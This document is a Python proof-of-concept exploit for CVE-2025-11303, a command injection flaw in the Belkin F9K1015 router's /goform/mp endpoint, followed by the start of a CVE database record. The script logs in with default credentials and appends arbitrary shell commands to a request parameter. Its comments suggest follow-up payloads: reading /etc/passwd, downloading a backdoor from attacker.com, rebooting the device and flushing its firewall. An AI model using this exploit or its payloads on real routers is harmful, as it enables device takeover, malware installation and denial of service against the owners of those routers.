CVE-2025-11303

# CVE-2025-11303 - Belkin F9K1015 Command Injection PoC # Vulnerability: Command Injection via /goform/mp endpoint # Affected: Belkin F9K1015 firmware version 1.00.10 # Author: Security Researcher import requests # Target router configuration TARGET_URL = "http://192.168.2.1" # Default Belkin F9K1015 router address ENDPOINT = "/goform/mp" # Authentication credentials (low privilege required) USERNAME = "admin" PASSWORD = "password" def exploit_command_injection(target_url, username, password, cmd): """ Exploit command injection in /goform/mp endpoint The 'command' parameter is vulnerable to OS command injection """ session = requests.Session() # Step 1: Authenticate to the router login_url = f"{target_url}/login.cgi" login_data = { "login": "true", "username": username, "password": password } session.post(login_url, data=login_data) # Step 2: Inject malicious command via 'command' parameter # Using semicolon (;) to chain commands payload = f"valid_command;{cmd}" exploit_url = f"{target_url}{ENDPOINT}" exploit_params = { "command": payload } response = session.get(exploit_url, params=exploit_params) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return response # Example usage: Execute arbitrary command on the router if __name__ == "__main__": # Command to execute on the compromised router malicious_command = "id" # Get current user info exploit_command_injection(TARGET_URL, USERNAME, PASSWORD, malicious_command) # Additional commands could include: # - "cat /etc/passwd" - Read password file # - "wget http://attacker.com/backdoor -O /tmp/bd" - Download malware # - "reboot" - Denial of service # - "iptables -F" - Flush firewall rules

{"cve": {"id": "CVE-2025-11303", "sourceIdentifier": "[email protected]", "published": "2025-10-05T21:15:31.693", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Belkin F9K1015 1.00.10. Affected is an unknown function of the file /goform/mp. Performing a manipulation of the argument command results in command injection. The attack may be initiated remotely. The exploit is now public and may be used. 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